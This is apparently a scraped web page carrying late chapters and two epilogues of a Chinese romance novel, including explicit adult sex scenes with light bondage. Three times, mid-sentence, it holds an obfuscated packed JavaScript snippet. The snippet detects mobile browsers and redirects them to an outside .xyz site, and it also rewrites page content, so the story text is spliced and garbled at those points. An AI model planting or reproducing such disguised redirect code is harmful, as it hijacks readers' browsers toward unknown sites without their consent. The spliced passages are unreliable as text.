皮一夏从岛台那边背着手过来,忽然从身后捧出一束花,红色的玫瑰花,包裹在黑白格纹布里,上面点缀着松子和尤加利叶。 “送给你。”她笑眯眯地递过去,“我想了很久,都不知道给你送什么礼物,感觉你什么都不缺,干脆就送一束花吧……喜欢吗? 贺章点头,接过花,拿起上面的粉色信封,皮一夏忙抓住他的手:“你晚点看,一个人的时候看。” 贺章微微挑眉:“是什么?” “……情书。”她有点不好意思。 温馨的烛光里,她脸上那点羞怯更加动人,贺章把花和信封放在桌上,一把将人扯过去,抱起来坐到了餐桌旁。 一记深长的热吻过后,皮一夏有点喘:“下一个环节,吹蜡烛许愿。” 她拿起一只蜡烛,插到蛋糕上点燃,贺章闭上眼,在她的生日歌里,许了一个有点长的愿望。 “许了什么?不能告诉我吧……” 贺章笑着瞥她:“先吃饭,让我尝尝你的手艺。” 说着夹起一片牛舌尝了尝,挑眉:“很不错。”又吃了一口青菜,“非常好。” “我也觉得很成功。”皮一夏得意扬眉。 吃到一半,她要开红酒,被贺章阻止了:“一会儿再喝酒。” 结果直到一顿饭吃完,那瓶红酒也没打开,她有点不解:“不喜欢这个酒吗?” 贺章摇头:“酒很好,但我有独家珍藏的,想不想尝尝?” 皮一夏忙不迭点头。 两人起身上楼,贺章牵着她走到书房,让她在椅子上稍坐,接着从书架下层的柜子里,拎出两瓶酒。 皮一夏接过来一看,登时睁大了眼:“怎么可能……” 贺章嘴角噙笑,闲闲倚靠在书桌边,当着她的面,打开了一瓶酒,随后拿起桌上的玻璃杯,斟满,朝她举了举。 “玛丽莲.卡瓦起泡酒……敬美丽的Lola小姐。” 酒是粉色的,极清淡,又极柔美的色泽,美得好像一个拢着轻纱的梦。 皮一夏呆呆地看着酒杯,旋即视线又落回酒瓶。 墨绿色的瓶身上,贴着金色的圆角菱形商标贴,上面写着酒的名称,MarilynKava下方一行中文:玛丽莲.卡瓦起泡酒。 “为什么会有这种酒?你从哪里找到的?”皮一夏还是不相信。 贺章轻轻抬起她的下巴,在她的注视下,端起杯子缓缓饮尽。 一杯。 皮一夏恍惚觉得那酒进了她的喉咙里,不由自主地吞咽一下。 两杯。 他还在注视她,漆黑的眼睛一眨不眨,好像第一次见她,又好像,认识了很久很久,那眼睛,好看的令她怦然心动。 三杯。 她想,她知道贺章没说出口的话了:传说喝三杯玛丽莲.卡瓦起泡酒,人就能烦恼全消。 四杯。 皮一夏眼中泛起湿意,嘴角却翘着。又哭又笑,像什么样子。 五杯。 喝五杯,会收获此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14867900|153805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生不渝的爱情。 贺章仿佛有了醉意,瞳孔微微失神,放下杯子,朝她伸出手:“想尝尝,酒的味道吗?” 皮一夏眼皮一眨,泪珠弹出来,猛地起身扑过去,仰唇吻住了他。酒香清冽,浅尝是微酸的柑橘调,细品又有一股醇厚的甜。 贺章侵入唇缝,拖出她缱绻地吻,酒的气味弥漫在她口腔,又顺着喉咙,散进整个胸腔,心脏砰砰跳着,仿佛也熏熏然了。 皮一夏忽然感觉锁骨处微凉,愣怔垂眼,看见脖子下方多了一个小巧的吊坠。玫瑰金色的酒瓶,瓶口朝下倾斜,抵在高脚杯沿,杯中有一颗红宝石。 她捏起吊坠看了看,酒瓶上刻着一串字母:MarilynKava。 “嫁给我吗?” 语声呢喃,散发着酒的甜香,在她唇边。腰后的手臂坚实而滚烫,将她牢牢锁在怀里。 皮一夏抿唇笑着,狠狠点头:“要!” “那么我收到了第二个生日礼物。”贺章抵着她额头,深邃的眸子里满是笑意,“夏夏。” “嗯。” “没事。”他说,“就想叫叫你。” 贺章坐在椅子里,让她跨坐在腿上,轻柔地吮她的唇,渐渐地,有些不能自控,手探进衣服里,握得她浑身一抖。 衣服被剥落,微凉的空气,滚烫的掌心,激起身体内外的战栗,她顺从本心,给予最柔软的包裹和最火热的回应。 他被绞得头皮发麻,牙缝里挤出一句:“要命。”接着更狠地掐住她腰,给她最深重的疼爱。 夜深了,贺章拎了条毯子,裹在她身后,皮一夏伏在他怀里,懒懒地问:“到底从哪儿来的酒啊?” “苏晨雪的表哥苏煜珩,是开酒庄的。这个口味的酒,是即将上市的新品。”贺章说着,从桌面上抽出一个文件袋,“打开看看。” 皮一夏解锁牛皮袋,从里面掏出一沓子文件:商标注册申请书、代理委托书、商标图样、股份转让协议…… “这是什么?” 贺章牵唇一笑:“MarilynKava这个商标是你的,新品上市后,会以爱情故事来做营销。还有股份转让协议,你签个字,算是入了酒庄的干股,不多,就当玩玩,也不用你做什么,年终有分红。” 就是说,贺章要帮她注册“玛丽莲.卡瓦起泡酒”的商标,授权给苏珩的酒庄使用,酒庄给她股份,让她享受分红? “你什么时候做的这些事啊?”皮一夏彻底懵了。 贺章捏了捏她的脸:“还记得我上次喝酒?是跟苏煜珩喝的,尝了好几种配方,最终选定了这一款,喜欢吗?” “喜欢……但是,无功不受禄,我不能要这些。” “谁说你无功?酒的名字,和名字背后的含义,都是你赋予的。上市推广后,这款酒会被很多人知道……这就是你的功劳。” “可是……” “不许可是。我要让这款酒面市。” 皮一夏眼眶有点热,过了许久才说:“Ethan,你好爱我,是不是?” 贺章毫不犹豫:“是。” “好的,那我就开心地收下了。”她抽了抽鼻子,又说,“如果需要我做什么,一定要跟我说。” “好。”贺章拍了拍她,“洗澡睡觉?” “嗯。” 第二天是周六,天气很好,吃过早饭后,贺章在花园里干活,皮一夏盖着毯子窝在躺椅里,抱着Oliver边撸边看书。 贺章时不时转头看一眼,总对不上她的视线,如此两次过后,他心生不满,于是丢下水管,走到了她身前。 “在看什么?” 他两手插在裤子口袋,脸色淡淡的冷。 皮一夏抬眼,朝他晃了晃书:“《博尔赫斯诗集》,有一首诗是写花园的,叫《似水流年》,你读过吗?” “没有。”他生硬地丢下两个字。 她竟还没发现他的不满,贺章更为不悦,俯身连人带狗抱起来,坐在躺椅上。 皮一夏枕着她胸膛,轻轻读起那首诗,至最后四句,她放缓了语气。 “花园,我的话到此为止,但我会一直琢磨:你树木的荫翳纯属偶然,还是你的一番好意。” 词句在唇齿间流连,她若有所思,又重复最后两句:“你树木的荫翳纯属偶然,还是你的一番好意……”忽仰头朝他笑,“Ethan,我喜欢这两句,你懂吗?” 贺章盯着她清亮的栗色眼瞳,胸中蓦然开阔起来,嘴边染上浅浅地笑,倾身在她额间印下一个吻。 相遇纯属偶然,感谢你的一番好意。 我爱你,此生不渝。 (正文完) 58. 番外1 凌晨两点,皮一夏睡熟了。 贺章盯着臂弯里的人看了一会儿,倾身过去,亲了亲她的侧脸,探手到床头柜上,拿起粉色的信封打开,抽出里面的信纸。 信纸是淡粉色,右下角印着几瓣桃花。 圆融里透着一股力量感的字迹,潇潇洒洒铺满了整张纸,直到最后一行。 亲爱的Ethan先生: 第一次见你,在巴塞罗那的街边咖啡馆——对不起真正的第一次被我忘记了——我被你鹤立鸡群的气质吸引,主动上前搭讪,你沉默望向我时,我有点尴尬,可能是你的脸太好看了,我竟然尝试了好几次和你交谈,请相信,这种事我也是第一次干,幸好你开口了,再晚一秒,我可能就会说,抱歉打扰了,然后转身离开。 如果是这样,我将永远不知道,错过了一个多好的男人。 谢谢你为我领路,又听我鬼话连篇地扯了一晚上,以至于回酒店的路上,我对你满怀愧疚。 主动认错是临时起意,你的愤怒在意料之中,但你依然保持了绅士的涵养,没有指责我卑劣的手段,这让我更加愧疚自责,同时又深感遗憾。 因此在便利店再次看到你时,我既震惊又喜悦,现在回想,仍然感觉不可思议。你总在我遗憾离场前,带给我柳暗花明的惊喜,我想,这可能是你的上帝赐予我的幸运。 但我还是要说,我们的第一次令人失望。这并非全是你的问题,还有我对那件事期待过高的责任,毕竟,那也是我第一次体验,和一个男人如此亲密……后来的欢愉,又超出了我的预期,你看,你又一次在我感到遗憾时,带给我惊喜。 与我而言,巴塞罗那的一切像一场美丽的梦,现在,你让这个美梦变成了现实。 你之前问我,在哪一刻确认了自己的心意。我其实认真想过这个问题,但很遗憾,我的答案和你一样,在重逢后的每一天,对你的喜欢都在加深,就像季节的变换没有明确的分界线,也永远不会有静止的一天。 如今秋凉风起,花园里枝叶凋零,但如你所说,到了春天,它们还会长出新的叶子,开出新的花朵。植物会经历四季轮回,但和你在一起,似乎永远是热烈的春夏。 我们一起吃了很多顿饭,一起讲了很多句话,你会在我迷茫时给予点播,告诉我职场的道理,也会在我难过时,用你特有的冷硬语气和我说,皮一夏,你不准难过!说实在的Ethan,和女孩子相处,不能这么作风凌厉……幸好遇见的是我,无论你说什么,我听来都只有心动和更心动的区别。 你喜欢抱我坐在腿上,喜欢将我的手完全包在掌心,我嘴上抱怨,其实心里很喜欢……这里也要告诉你一个道理,和女孩子相处,不能只听她说什么,还要去观察她的表情,揣摩她的心理,虽然我说这些你也不会做,你只会强硬地塞给我很多、很多的爱。 在被你汹涌的爱意席卷之时,我偶尔会感到不安和困惑,想起那句被我记了很久的电影台词:真爱犹如鬼魅,众口相传,然目击者鲜矣。 鬼魅一样不可捉摸的东西,就这样被我遇到了吗?世界上最好的男人,就这样属于我了吗……我为此心神震颤,并将保持长久的怀疑。 其实还有很多话想写,但有工作来找我了,只好暂时搁笔,剩下的故事,交给时间来书写吧,反正我们还会在一起很久很久,而我对你的爱,永不停息。 PS:你看这封信时,在干什么呢? PPS:不要和我讨论信的内容,我会不好意思。 …… 最后的一行字,由于写得匆忙,字迹显得有点潦草,贺章拇指摩挲着最后几个字,含笑抬眼,看向怀里的女孩。 根根分明的睫毛覆在眼下,一缕头发贴在脸上,他拿手轻轻拨开,别到耳后。盯着她酣睡的侧颜,思绪被拽回最初的那个晚上。 绑他的手时,她怕丝巾松开,用了十成十的力,还故意把一个活结系得危危险险,似乎一挣动就会变成死结……她自以为绑的万无一失,却不知他是练格斗术的,肌肉的力量感和动作的灵活性是基本功,他可以很轻松地解开束缚,但他什么都没做。 起初是想看看,这个表面乖巧实际没那么乖巧的女孩,到底要玩什么花招。 后来他被那些抓握、磨蹭搞得几乎崩溃,她却得意洋洋、高高在上地看他求而不得、丑态百出……像一个歹毒的公主,在戏弄拜服于她的臣子,他竟然感觉到畅快! 变态的畅快。脑子里甚至冒出一个荒唐的念头,既然她这么开心,被戏弄一下也没什么。 直到最后,她那样放心地睡了过去,他也没有挣开那条丝巾,甘愿缚着双手,安静地躺在她身后,直到困意袭来,睡着之前还在想,明天醒来,该怎么向她讨回这笔账。 哪知一睁眼,这个可恨的丫头,竟然消失无踪了。 贺章忽然呼吸不稳,轻轻啄吻她的嘴唇,渐渐地,越发不能自控,作弄的她在睡梦里呻吟,眉头皱着,不满地打人。 他到底不忍,赶走她的睡意,于是自讨苦吃地勉力压制。 第二日晨起,皮一夏幽幽醒转,发觉身后的男人还在,真是难得。 “醒了?”愉悦的声音从耳后传来。 “嗯……” 她眨了眨惺忪的眼皮,想拿起手机看看几点了,却蓦然发现,手腕动不了。 心里一惊,胳膊缓缓伸出被子,一条墨绿色的领带,正将她两只手腕绑在一起。 她翻过身,手举到他脸前:“你给我解开!”边说边挣动。 这领带绑得不紧,但由于够长,绕了好几圈,正好够她挣脱不开的程度。 皮一夏羞臊难当,在被子里踢了他一脚,转瞬就被夹住双腿压到了身下。 贺章将她的胳膊抬起,环到了颈后,漆黑的眼中满是笑意,像逗弄一只炸毛的猫,动作慢条斯理。 “你先解、解开我……”她脸色酡红,拿手肘推他,“你怎么这么记仇呢?不是、不是都过去了嘛……啊啊啊你别别掐了……” “过去了?我什么时候答应你,过去了?”贺章捧起她的脸,在嘟起的唇上,轻轻咬了一口,“是你说的,我睚眦必报。” 他开始火力全开地折腾,既让她感到欢愉,又永远达不到满足的程度……身体里像有蚂蚁在爬,她死死蜷缩着脚趾,时而躲避时而主动迎上,什么平时不肯说的话,都被他逼着说了,他仍然不肯给足。 “该死的贺章!”她终于忍不住开始喝骂,“昨天我还给你过生日……还给你送花写情书,你还给我!呜……求你了Ethan、啊啊啊你混蛋!我不嫁你了……” “不嫁我?!”这句话激怒了他,“你想嫁谁?谁能让你这么快乐?” 他突然狠狠用力,将她的尖叫吞进了口中,颤抖的身体紧紧纳入怀里。 “夏夏,感受到……我有多爱你了吗?不嫁我,你还想嫁谁?”他喘着粗气惩罚她。 皮一夏又哭又笑又尖叫,整个人陷入疯魔,直到最后的时刻来临,很久以后还在细细地哆嗦。 她的手腕还被绑着,整个人趴在他身上。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14870742|153805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “你给我解开!”她气咻咻地嚷,“我不会原谅你的……混蛋!” “为什么不原谅?不喜欢我的伺候吗?”贺章笑得促狭。 她要翻身下去,被他死死箍住,终于解开了她的手腕。 刚脱开束缚,皮一夏就狠狠捶了他一拳,撑着胳膊要坐起,被他拖回来按在怀里。 “别动,我看看。” 贺章端起她手臂,盯着上面一道红。她细皮嫩肉,虽然绑的不紧,到底还是留下了痕迹。 他轻轻吹了吹,怜惜地问:“疼吗?” “你绑的时候怎么没想起来问!” 贺章被她怼的语结,想起她曾被不愉快地绑过手,一时又很懊恼,凑过去亲了亲:“是我不好。以后不绑了,别生气了。” “晚了!”皮一夏闹着闹着真有点生气,“我要离家出走,你放开我!” 贺章失笑,语气却很认真:“夏夏。以后生气了,不要离家出走,你可以让我离家出走。” “这是你家,我哪敢让你离家出走。” 贺章皱了眉头:“今天去领证吗?” “……你在说什么疯话?”皮一夏感到无语。 “这不是疯话。”贺章神色郑重,抬起她下巴,“昨晚你答应了,考虑到你可能不想太快进入婚姻,我愿意等,但前提是,你必须时刻牢记自己的身份。” “什么、什么身份?”皮一夏被他的严肃搞得心里发毛。 “未婚妻。” “……”好正式的称呼,感觉比男朋友女朋友要唬人。 贺章还没完:“你需要做出心理上的转变,这里是我们的家,你也是家里的主人,不可以一生气就说不嫁我了,离家出走了。” 怎么搞得好像是她错了?分明是他先戏弄人的。 “那未婚妻还有分手的……”她嘟囔了句。 “你再说这话?”贺章语含警告,眉峰压得更低了,“非要惹我生气是不是?” 皮一夏被他盯得越来越心虚,终于忍不住往他怀里钻,小声认错:“我不说了不说了……干嘛这么凶。” “不凶了。”他凑过去亲了亲她额头,“等你准备好了,我们就去领证,嗯?” “哦……” “三个月够不够?” “三个月?!”她震惊抬眼。 “嫌长还是嫌短?” 话是这么问,他那脸上可不是允许她说实话的表情,仿佛只要她敢说一句“嫌短”,现在就要被抓去民政局。 “……还行。” “嗯。”贺章满意了,“明年三月,咱们领证。”转瞬又开始皱眉,“婚礼得从现在开始准备了。是不是得先找婚庆公司出方案?回头我交代林献去安排……婚纱你喜欢什么款式?我让人出设计草图,或者,你要是没想法,咱们先去店里看看,就今天吧?” “……”这推进得是不是太快了。 怎么就从准备领证,跳跃到今天去选婚纱了? 而且她以为,三个月只是准备领证,从来没想过,还有办婚礼这回事…… 皮一夏嘴巴微张,愣愣地看着贺章。 “怎么了?” “我觉得,先不着急看婚纱,让我……我先跟苏苏商量一下!” 对,这个理由很好,再被他带着节奏走,只怕接下来就该商量婚纱照在哪拍,婚礼要请哪些人了……还有个问题! 她猛然抬头,有点为难地开口:“你爸妈还没同意……我们现在就商量婚礼,是不是太早了?” 59. 番外2 “我的婚礼,除了你,不需要任何人同意。”贺章断然道。 皮一夏心里又甜蜜又有点不安。 “话是这么说,总还是要知会一声的吧。改天,抽个你心情好的时候,带我去正式拜访阿姨吧……上次她对我也没有恶意,我能感觉出来,所以你不要紧张,不要对立,好吗?” 贺章神情淡漠,没有说话。 她凑过去亲了亲他:“我比你想的,要勇敢一点。” 他终于缓和了神色:“好。” 旧年最后一天,贺华森回国,皮一夏跟着贺章去拜访未来公婆。 可能是因为知道了妈妈曾和这里有过短暂连接,再一次进入这套别墅,她感觉多了几分亲切,仿佛是陪陈玉芬女士一起,重回她工作的地方。 当天吃饭的气氛很好。 贺华森一如既往的温文儒雅,问了她工作的情况,还说对她有印象,因为她曾经出镜过集团的宣传片。 贺夫人李婧态度依旧淡然,不过她好像就是这样清冷的脾气,聊到感兴趣的话题时,偶尔也会笑。 皮一夏想,妈妈在这里工作时,应该没有受到为难,这让她心里感到安慰不少。 吃完饭后,贺章和贺华森去书房谈公事,贺夫人把她带去上次的小宴客厅喝茶聊天,话题基本都是围绕她跟贺章的相处。 这其实没什么好说的,因为他们的生活有点平淡,就是吃饭、聊天、打理花园,或者各自加班工作,偶尔开车出门逛逛商超、看场音乐剧……终于一起看了那部《献给阿尔吉侬的花束》。 贺夫人听得很认真,似乎还有点触动,时不时出神思索。 聊了大概半小时,贺夫人离开了一会儿,再回来时,手里拿着一个红色盒子,还有一个文件袋。 “这是我和你叔叔结婚时,他妈妈送我的,现在该传给你了。” 贺夫人打开盒子,里面是一套纯金首饰,金簪、金锁、金手镯、金耳环,全部是雕刻繁复花纹,点缀以珐琅和彩宝的,做工很精致。 皮一夏迟疑着不敢收,贺夫人淡然道:“不许拒绝。” 一听这种跟贺章如出一辙的口气,她就什么话都不敢有了。 皮一夏小心翼翼接过传家宝,贺夫人又道:“这个文件袋里,是我在华森的一点股份,现在也一并都给你……” “不不不不……”皮一夏神色惊慌,连连摆手,“我不要!”这个说什么都不能要。 “你听我说。”贺夫人语气坚持,“我只有小章这一个儿子,本来这些以后也都是他的,你们结婚以后,也是你的。之所以现在给你,是因为我知道,普通人家的女孩嫁进这样的人家,不像想象的那样,全是童话。你有这些资产傍身,就多了一分底气,以后你们之间相处,只管谈情说爱,不必有其他顾虑。” 贺夫人说得很隐晦,但皮一夏好像听懂了。 “阿姨,我真的不能要。不管我有多少资产,我和Ethan之间,也只管谈情说爱。事实上,我现在还背着房贷,但我不觉得比他卑微。Ethan给了我很多底气,很多很多,我不需要靠这些傍身。退一万步讲,如果以后这种底气消失了,那么我留着这些资产,没有任何意义。无论如何,我谢谢您的好意,我会帮您照顾好Ethan,请您放心。” 贺夫人还要再劝,皮一夏直接跳起来往门口跑,她听见贺章过来了,跑过去躲在他身后,小声说:“我不要股份,你劝一劝……” 贺章愣了一下,揉了揉她的头,走过去说:“我们该走了。夏夏胆子小,这些东西以后再说吧。” 贺夫人闻言沉默一瞬,点了点头。 贺章牵着皮一夏往外走,贺父贺母送到门外,看着他们上车,皮一夏朝两人摆手:“再见,叔叔阿姨。” “再见。” 贺父摆了摆手,贺母忽然说:“有空常回来吃饭。” 皮一夏笑起来:“好的,阿姨。” 回去的路上,贺章有点沉默。 皮一夏歪头看他:“和你爸爸聊的不开心吗?” “没有。”贺章说,“公事有什么不开心的。” “那怎么不说话?在想什么?” “在想……如果没有这个集团,我爸妈会不会,走不到这一步?” 一个清冷要强,一个温和的工作狂,感情在琐碎的日常里消磨殆尽,似乎一点也不奇怪。 皮一夏想了想:“也许吧。但我觉得,狂风暴雨有时会摧折大树,有时,会让大树扎根更深。” 贺章一愣:“你是想说,集团只是外因,归根到底,是因为他们对彼此不够坚定?” “还有一种解释。”皮一夏抿唇笑笑,“有心之人会再相逢。” 贺章再次陷入沉默。 许久之后,他笑了起来,揉着她的头发说:“小哲学家。” 皮一夏抱住他手臂,歪靠过去:“不过你们有钱人,还真是习惯统一,怎么一言不合就送股份呢,这多吓人……” “送你就收着,怕什么。”贺章低眼瞥她,“不想收股份,难不成是想着逃跑时脱身方便?” 皮一夏打了他一巴掌:“不跑了不跑了!还要说多少遍……我不想要股份,只想跟你谈情说爱。” 贺章嘴角噙笑:“今天跨年夜,想去哪里谈情说爱?” “嗯……咱们去中央电视塔看灯光秀吧!” “好。” 元旦过后,就进入了真正的年终节奏,皮一夏除了要抓寒假春节档影视剧综项目之外,还要出席各种活动和晚会,向上汇报工作,也听下面的人汇报工作,忙得不可开交。 工作繁忙,婚礼也在同步筹备,虽然不用她操太多心,但总不能当个彻底的甩手掌柜,婚宴流程和场地、婚服选择和试穿、请什么人、请柬什么样、喜糖定哪种、怎么包……这些事听着小,件件都得她参与意见讨论,还是有点烦琐的。 除了正经事外,还要应付贺章高频的折腾,皮一夏感觉自己像被妖精抽干了元气的凡人,在这种情况下,她生了场不大不小的病。 起因是她在浴缸泡澡时睡着了,贺章在书房开国际会议,也没顾上盯着她,等回到卧室,敲卫生间的门时,她已经泡了一个小时。 贺章探手试了试,水温比她的体温还低,当即黑了脸,扯过浴巾把她裹起来,抱了出去。 他冲了感冒药给她,皮一夏还嘴硬:“你放心吧,我体质好着呢……”说着就打了个喷嚏。 贺章面无表情:“体质好?” 她没再多话,乖乖喝完药,钻进被子里。 贺章拿出吹风机,坐在床头给她吹头发,吹到一半,她就趴在他腿上睡了过去。 第二天,贺章要出个短差,走之前叮嘱她,如果感觉不对,要及 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14874378|153805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时去医院,她嗯嗯啊啊地应了,结果他一走,好像没人镇着,病魔就开始发威了,没完没了地打喷嚏流鼻涕。 急忙去诊所开药,吃了两天也不大缓解,还添了咳嗽。 她这半死不活的样子,祁山见了都有点不忍,甚至主动提出要给她批假,省得人病倒了,再被贺总找麻烦。 皮一夏原本是想请假的,听祁山嘟囔了这么一句,她不干了。 本来就怕人背后议论,这不是给人送现成把柄呢嘛!她自己倒还好,就怕贺章被人说成是色令智昏、冲冠一怒为红颜的昏君。 吃药扛了三天,烧到三十八度九,终于顶不住请假去医院了。 拍了个CT一看,肺炎了,好在不算很严重,医生让先吃药卧床休息一周,看看情况,如果炎症没消再打点滴。 皮一夏拎着药回到家,贺章也刚从机场回来。 这几天为免他担心,皮一夏没敢跟他打视频,微信上一句一句地聊,贺章对此表达过不满,她就以工作忙为借口搪塞。 现在好了,还不到下班时间,在家撞上了。她拎着一堆药,双眼无神,嘴唇泛白,贺章一看就皱眉。 “怎么回事?”他一边抬手试她额头,一边接过药袋子,从里面掏出病例和缴费单据看了看,脸色更沉了,“这就是你不打视频的原因?” “别训我了。”皮一夏有气无力,往他怀里倒,“你的宝宝好可怜的……” 贺章气笑了,一把将人抱起来,往楼上走:“说没说过有事尽早去医院?你给我折腾成肺炎……你等着,好了我再收拾你!” 话虽然放得狠,但皮一夏不怕他,只顾撒娇:“Ethan,我好想你啊……你怎么出差这么久啊!是不是被哪个小妖精迷得乐不思蜀了?让我闻闻,有没有别的狐狸精的味儿……” 她边说边揪着他衬衣领子,凑到脖子边嗅。 “胡说八道。你也就仗着自己生病,我不忍动你。”贺章把人放到床上,塞进被子里。 皮一夏笑眯眯:“你动呀!我把感冒和肺炎传给你……哎呀!”她说着捂住了口鼻,“我们分居分居,肺炎真的会传染,你去别的屋子睡!” “分什么居!你少惹我生气,比什么都强。” 贺章按照药盒上的标注,把两种药片取出来配好,再把瓶装口服液插上吸管,塞到她手里,接着拿起杯子去饮水机接水,回来递给她。 “吃药。” “哦。” 皮一夏乖乖吃了药,又一口气干掉口服液,辛酸甜腻的口感冲得她脸都皱巴起来了。 “好难喝……” “我尝尝。” 贺章说着就凑过来要亲,被她一把捂住了嘴:“你疯了?不许亲,要是传染了你,咱俩一起卧床,像话吗?” 贺章不悦,摘开她的手,皮一夏又低头往他怀里钻。 他无奈叹了口气,把人搂到怀里,在颈窝边亲了一会儿,聊以解馋。 “想死我了。”他低声自语,转瞬又拍了她一巴掌,落在后腰上,“赶紧好起来,听见没有。” “知道了。”在他怀里腻了一会儿,她有点犯困,“你去洗澡吧,我要睡觉了。” 贺章“嗯”了一声,把人塞进被子里,窗帘关上,屋子调成夜间模式,歪靠在床头,又陪了一会儿,听着她呼吸渐渐平稳,才起身出去,轻轻带上了门。